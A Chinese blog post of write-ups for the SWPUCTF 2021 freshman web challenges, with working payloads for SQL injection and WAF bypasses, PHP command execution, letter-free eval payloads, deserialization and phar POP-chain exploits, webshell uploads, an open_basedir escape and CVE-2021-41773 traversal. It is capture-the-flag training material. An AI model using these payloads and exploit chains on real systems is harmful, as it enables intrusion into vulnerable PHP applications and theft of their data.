[SWPUCTF 2021 新生赛] web

阅读约 13 分钟

gift_F12

源码目录找flag

caidao

简单的rce

jicao

<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>

json字符串例子

json['x']=wllm 的json格式是 {"x":"wllm"}

easy_md5

if ($name != $password && md5($name) == md5($password)){
        echo $flag;
    }

数组绕过

name[]=1

password[]=2

easy_sql

/?wllm=-1' union select 1,2,3--+ 

/?wllm=-1' union select 1,2,database()--+

/?wllm=-1' union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database())--+

/?wllm=-1' union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name='test_tb')--+

/?wllm=-1' union select 1,2,(select group_concat(flag)from test_tb)--+

easyrce

if(isset($_GET['url']))
{
eval($_GET['url']);

/?url=system('cat /fl*');

babyrce

if (isset($_GET['url'])) {
  $ip=$_GET['url'];
  if(preg_match("/ /", $ip)){
      die('nonono');
  }
  $a = shell_exec($ip);
  echo $a;

就是过滤空格,rce时候不能ls /

${IFS} 代替空格

/rasalghul.php?url=cat${IFS}/fl*

ez_unserialize

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

简单构造

<?php
class wllm{
    public $admin;
    public $passwd;
    public function __construct(){
        $this->admin ="admin";
        $this->passwd = "ctf";
    }
}

$p = new wllm();
echo serialize($p);

include

filter 伪协议

no_wakeup

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

修改属性个数绕__wakeup()

O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

改成

O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

Do_you_know_http

使用WLLM浏览器

bp抓包修改UA

easyupload1.0

Content-Type 修改

直接蚁剑

真的flag在phpinfo()中

easyupload2.0

图片马上传进去,改名phtml

蚁剑连

easyupload3.0

.htaccess 解析图片马

error

报错注入

?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+  

?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)--+ 

?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='test_tb' limit 1,1),0x7e),1)--+ 

这里涉及到flag显示一半的问题

?id=1' and updatexml(1,concat(0x7e,(select flag from test_tb),0x7e),1)--+ 
?id=1' and updatexml(1,concat(0x7e,(select right(flag,30) from test_tb),0x7e),1)--+

hardrce 无数字字母rce

if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
        die("LTLT说不能用这些奇奇怪怪的符号哦!");
    }}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
    die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}

无字母数字rce

能过虑的都过虑了,发现~没有过虑,可以进行取反

RCE篇之无数字字母rce - 学安全的小白 - 博客园

php取反rce的脚本:

<?php
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

hardrce_3 无数字字母rce

if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\^','\~','\|'];
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
        die("小伙子只会异或和取反?不好意思哦LTLT说不能用!!");
    }}
if(preg_match('/[a-zA-Z0-9]/is',$wllm))
{
    die("Ra'sAlGhul说用字母数字是没有灵魂的!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}

这里取反~不能用了

用自增 无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)_yu22x的博客-CSDN博客_绕过正则表达式

//测试发现7.0.12以上版本不可使用
//使用时需要url编码下
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式 构造出来的 assert($_POST[_]);
然后post传入   _=phpinfo();

发现system,exec,shell_exec,popen,proc_open,passthru被禁用 ,同时设置了open_basedir,无法看到文件

但是可以用file_put_contents(,)

_=file_put_contents('1.php',"<?php print_r(ini_get('open_basedir').'<br>'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/flag'); print(1);?> ");

访问1.php

finalrce 无回显rce

if(isset($_GET['url']))
{
    $url=$_GET['url'];
    if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
    {
        echo "Sorry,you can't use this.";
    }
    else
    {
        echo "Can you see anything?";
        exec($url);
    }

没有过滤|这个符号,然后exec执行是没有回显的,这个题目是需要用linux的一个命令,”tee“将想要执行的命令写入到一个文件里面,然后再去访问这个文件,以此来执行这个命令。

过滤了ls 可以用ls 来代替

然后访问1.txt

/?url=tac /flllll\aaaaaaggggggg | tee 2.txt

PseudoProtocols 伪协议

filter协议读

/index.php?wllm=php://filter/convert.base64-encode/resource=hint.php

$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
    echo "success\n";
    echo $flag;

data 协议写入内容

/test2222222222222.php?a=data://text/plain,I want flag

pop

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

就三个类,__destruct入口 调用__toString() , echo是针对字符串的

__toString()去调用Getflag(),也就是 $this->w22m=Getflag

序列化链

<?php
class w44m{
    private $admin = 'w44m';
    protected $passwd = '08067';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$a=new w44m();
$b=new w22m();
$c=new w33m();

$b->w00m=$c;
$c->w00m=$a;
$c->w22m="Getflag";

echo urlencode(serialize($b));

有私有属性一定要url编码一下

sql

有waf ,fuzz一下

这些都过滤了,主要是空格 = ban了

空格用/**/,=用like ,然后--+ 和 #不能用,%23 来闭合

payload:

/?wllm=-1'/**/union/**/select/**/1,2,database()%23

/?wllm=-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23

/?wllm=-1'/**/union/**/select/**/1,2,group_concat(flag)/**/from/**/LTLT_flag%23

读flag字段时,值显示出一半的flag,right,left,substr都过滤了,可以考虑用mid

/?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),20,40)/**/from/**/LTLT_flag%23

Baby_Web 变量覆盖

CVE-2021-41773

简单来说: 检测路径中是否存在%字符,并且如果%后面的两个字符是十六进制字符,就会对后面的两个字符进行url解码转化,如路径中有%2e./,则会解码为../,转换后判断是否存在../,加入路径中使用.%2e/则能绕过,导致目录穿越漏洞,因为当遍历到第一个.时,后面两个字符是%2并不是./,就不会被处理,绕过检测。

目录穿越 ,dirsearch能扫到

<?php
error_reporting(0);
define("main","main");
include "Class.php";
$temp = new Temp($_POST);
$temp->display($_GET['filename']);

?>

还有个Class.php

<?php
defined('main') or die("no!!");
Class Temp{
    private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
    private $template;
    public function __construct($data){

        $this->date = array_merge($this->date,$data);
    }
    public function getTempName($template,$dir){
        if($dir === 'admin'){
            $this->template = str_replace('..','','./template/admin/'.$template);
            if(!is_file($this->template)){
                die("no!!");
            }
        }
        else{
            $this->template = './template/index.html';
        }
    }
    public function display($template,$space=''){

        extract($this->date);
        $this->getTempName($template,$space);
        include($this->template);
    }
    public function listdata($_params){
        $system = [
            'db' => '',
            'app' => '',
            'num' => '',
            'sum' => '',
            'form' => '',
            'page' => '',
            'site' => '',
            'flag' => '',
            'not_flag' => '',
            'show_flag' => '',
            'more' => '',
            'catid' => '',
            'field' => '',
            'order' => '',
            'space' => '',
            'table' => '',
            'table_site' => '',
            'total' => '',
            'join' => '',
            'on' => '',
            'action' => '',
            'return' => '',
            'sbpage' => '',
            'module' => '',
            'urlrule' => '',
            'pagesize' => '',
            'pagefile' => '',
        ];

        $param = $where = [];

        $_params = trim($_params);

        $params = explode(' ', $_params);
        if (in_array($params[0], ['list','function'])) {
            $params[0] = 'action='.$params[0];
        }
        foreach ($params as $t) {
            $var = substr($t, 0, strpos($t, '='));
            $val = substr($t, strpos($t, '=') + 1);
            if (!$var) {
                continue;
            }
            if (isset($system[$var])) { 
                $system[$var] = $val;
            } else {
                $param[$var] = $val; 
            }
        }
        // action
        switch ($system['action']) {

            case 'function':

                if (!isset($param['name'])) {
                    return  'hacker!!';
                } elseif (!function_exists($param['name'])) {
                    return 'hacker!!';
                }

                $force = $param['force'];
                if (!$force) {
                    $p = [];
                    foreach ($param as $var => $t) {
                        if (strpos($var, 'param') === 0) {
                            $n = intval(substr($var, 5));
                            $p[$n] = $t;
                        }
                    }
                    if ($p) {

                        $rt = call_user_func_array($param['name'], $p);
                    } else {
                        $rt = call_user_func($param['name']);
                    }
                    return $rt;
                }else{
                    return null;
                }
            case 'list':
                return json_encode($this->date);
        }
        return null;
    }
}

[[GFCTF 2021]Baby_Web(复现)_M1kael的博客-CSDN博客](https://blog.csdn.net/qq_53460654/article/details/122026054 "[GFCTF 2021]Baby_Web(复现)_M1kael的博客-CSDN博客")

可以看到在index.php中get传参

它对我们传参的值进行display方法

public function display($template,$space=''){

        extract($this->date);
        $this->getTempName($template,$space);
        include($this->template);
    }

然后经过extract,再进行getTempName方法

public function getTempName($template,$dir){
        if($dir === 'admin'){
            $this->template = str_replace('..','','./template/admin/'.$template);
            if(!is_file($this->template)){
                die("no!!");
            }
        }

这里给了个目录/template/admin/

我们试着直接访问一下

我们会发现 它会调用listdata方法

然后我们在listadta方法中发现危险函数

$rt = call_user_func_array($param['name'], $p);
$rt = call_user_func($param['name']);

利用 call_user_func()

我们要调用这个函数,我们需要调用listdata方法,要这个listdata方法就需要进入template/admin/index.html这个页面,就需要先让dir === ‘admin’,所以就是让space=admin,然后$template=index.html,就是filename=index.html,但是调用listdata方法 我们也需要传参mod变量

审代码

$_params = trim($_params);//删除两侧多余的空格
$params = explode(' ', $_params);//以空格分隔成数组
        if (in_array($params[0], ['list','function'])) {
            $params[0] = 'action='.$params[0];
        }
        foreach ($params as $t) {//遍历新⽣成的数组 
            $var = substr($t, 0, strpos($t, '='));//key
            $val = substr($t, strpos($t, '=') + 1);//value
            if (!$var) {
                continue;
            }
            if (isset($system[$var])) {
                $system[$var] = $val;
            } else {
                $param[$var] = $val;//数组定义
            }
        }

数组定义

switch ($system['action']) {//把key为action的值来比较

            case 'function':

                if (!isset($param['name'])) {//必须有key为name
                    return  'hacker!!';
                } elseif (!function_exists($param['name']))//还必须被定义
                 {
                    return 'hacker!!';
                }

                $force = $param['force'];
                if (!$force) {
                    $p = [];//我们只需要这一步定义
                    foreach ($param as $var => $t) {
                        if (strpos($var, 'param') === 0) {
                            $n = intval(substr($var, 5));
                            $p[$n] = $t;
                        }
                    }
                  if ($p) {
                       $rt = call_user_func_array($param['name'], $p);
                    } else {
                        $rt = call_user_func($param['name']);//利用的key为name的value值
                    }

payload:

URL?filename=index.html

(POST)space=admin&mod=123 action=function name=phpinfo

babyunser phar反序列化

尝试上传,自动解析成txt文件

文件查看可以查到源码

read.php

<?php
error_reporting(0);
$filename=$_POST['file'];
if(!isset($filename)){
    die();
}
$file=new zz($filename);
$contents=$file->getFile();
?>

upload.php

<?php
    if(isset($_POST['submit'])){
        $upload_path="upload/".md5(time()).".txt";
        $temp_file = $_FILES['upload_file']['tmp_name'];
        if (move_uploaded_file($temp_file, $upload_path)) {
            echo "文件路径:".$upload_path;
        } else {
            $msg = '上传失败';
        }
    }

class.php

<?php
class aa{
    public $name;

    public function __construct(){
        $this->name='aa';
    }

    public function __destruct(){
        $this->name=strtolower($this->name);
    }
}

class ff{
    private $content;
    public $func;

    public function __construct(){
        $this->content="\<?php @eval(\$_POST[1]);?>";
    }

    public function __get($key){
        $this->$key->{$this->func}($_POST['cmd']);
    }
}

class zz{
    public $filename;
    public $content='surprise';

    public function __construct($filename){
        $this->filename=$filename;
    }

    public function filter(){
        if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
            die('这不合理');
        }
    }

    public function write($var){
        $filename=$this->filename;
        $lt=$this->filename->$var;
        //此功能废弃,不想写了
    }

    public function getFile(){
        $this->filter();
        $contents=file_get_contents($this->filename);
        if(!empty($contents)){
            return $contents;
        }else{
            die("404 not found");
        }
    }

    public function __toString(){
        $this->{$_POST['method']}($_POST['var']);
        return $this->content;
    }
}

class xx{
    public $name;
    public $arg;

    public function __construct(){
        $this->name='eval';
        $this->arg='phpinfo();';
    }

    public function __call($name,$arg){
        $name($arg[0]);
    }
}

顺着魔术方法构造

poc

<?php
class aa{
    public $name;
    function __construct(){
        $this->name = new zz();
    }
}

class ff{
    private $content;
    public $func = "assert";
    function __construct(){
        $this->content = new xx();
    }
}

class zz{
    public $filename;
    public $content='surprise';
    function __construct(){
        $this->filename = new ff();
    }

}

class xx{
    public $name;
    public $arg;
}

$a = new aa();
echo urlencode(serialize($a));

# 下面这部分就没改
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

生成phar文件 上传进去

然后在read.php 这里post

SimplePHP phar反序列化

查看文件这里可以看到源码

file.php ,提供了get传参

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?>

主要看

class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

Test类:

创建对象时$params转化为数组,当调用未定义的属性或没有权限访问的属性时**__get**方法触发,调用 **get函数** ,get函数的**$key传递给file_get函数的 $value** ,**file_get函数**再将**$value经过file_get_contents函数处理和base64编码传递给$test**并输出。

分析完我们应当是想通过file_get_content来读取我们想要的文件,也就是调用file_get函数,之前分析得知 __get->get->file_get ,所以关键是触发__get方法,那么就要外部访问一个Test类没有或不可访问的属性,我们注意到前面Show类的__tostring方法

public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }

问对象的souce属性,而Test类中是没有这个属性的,让它来访问Test即可触发__get方法,那么现在的问题变成了__tostring的触发,看C1e4r类中的 __destruct , echo出test正好可以触发__tostring

整个pop链就是C1e4r::destruct() -> Show::toString() -> Test::__get()

<?php
class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}

class Test
{
    //Test类中没有source属性,可以根据这个调用__get()函数
    public $file;
    public $params;//数组类型的数值
}


$a = new C1e4r();
$b = new Show();
$c = new Test();

$a->str = $b;
$b->str['str'] = $c;
$c->params['source'] = "/var/www/html/f1ag.php";

@unlink('test.phar');

$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($a);//链子以$a为起点
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>

根据上传功能的源码phar文件要改名,然后访问upload目录

以phar协议读取

文件查看器 phar反序列化

这题有点难啊

WP篇之解析GFCTF---文件查看器 | Arsene.Tang

admin , admin 登录进去

www.zip源码泄露

Files.class.php

<?php
    class Files{
        public $filename;

        public function __construct(){
            $this->log();
        }
        
        public function read(){
            include("view/file.html");
            if(isset($_POST['file'])){
                $this->filename=$_POST['file'];
            }else{
                die("请输入文件名");
            }
            $contents=$this->getFile();
            echo '<br><textarea class="file_content" type="text" value='."<br>".$contents;
        }
        
        public function filter(){
            if(preg_match('/^\/|phar|flag|data|zip|utf16|utf-16|\.\.\//i',$this->filename)){
    echo "这合理吗";
                throw new Error("这不合理");
            }
        }

        public function getFile(){
            $contents=file_get_contents($this->filename);
            $this->filter();
            if(isset($_POST['write'])){
                file_put_contents($this->filename,$contents);
            }
            if(!empty($contents)){
                return $contents;
            }else{
                die("该文件不存在或者内容为空");
            } 
        }

         public function log(){
            $log=new Myerror();
        }

        public function __get($key){
            ($key)($this->arg);
        }
    }

Myerror.class.php

<?php
    class Myerror{
        public $message;

        public function __construct(){
            ini_set('error_log','/var/www/html/log/error.txt');
            ini_set('log_errors',1);
        }

        public function __tostring(){
            $test=$this->message->{$this->test};
            return "test";
        }
    }

User.class.php

<?php
    error_reporting(0);
    class User{
        public $username;
        public $password;

        public function login(){
            include("view/login.html");
            if(isset($_POST['username'])&&isset($_POST['password'])){
                $this->username=$_POST['username'];
                $this->password=$_POST['password'];
                if($this->check()){
                    header("location:./?c=Files&m=read");
                }
            }
        }

        public function check(){
            if($this->username==="admin" && $this->password==="admin"){
                return true;
            }else{
                echo "{$this->username}的密码不正确或不存在该用户";
                return false;
            }
        }

        public function __destruct(){
            (@$this->password)();
        }

        public function __call($name,$arg){ 
            ($name)();
        }
    }

头部在User类的__desctruct中,然后尾部是在Files类中的__get中,里面可以执行任意命令;头部首先进入了 __desctruct() 后,可以通过数组的形式访问任意类的任意方法,那我们就让它访问User类的 check() 方法中,然后这里有 echo ,以字符串的形式输出对象,然后就会跳到Myerror类中的 __tostring() 方法中,然后它里面的$this->test是可控的,我们让它等于一个Files类里面没有的属性就行了,就可以直接调用__get方法了,并且给$key赋值

poc链:

<?php
class Files{
    public $filename;

    public function __construct(){
        $this->arg = 'cat /f*';
    }
}
class Myerror{
    public $message;

    public function __construct(){
        $this -> test = 'system';
        $this -> message = new Files();
    }
}
class User{
    public $username = 'admin';
    public function __construct(){
        //$this -> password = [$this,"check"];
        $this -> username = new Myerror();
    }

}
$a = new User();
$a -> password = [new User(),"check"];
echo serialize($a);

后面理解有点费劲了


 赏 
感谢您的支持,我会继续努力哒!
~~  The   End  ~~

文章二维码 本文标签:web, 刷题
最后编辑:2022 年 08 月 07 日 01:50 By ThnPkm
本文链接:http://thnpkm.xyz/index.php/archives/71/(转载时请注明出处及链接! )
作品采用: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0) 许可协议授权。
1 + 4 =
快来做第一个评论的人吧~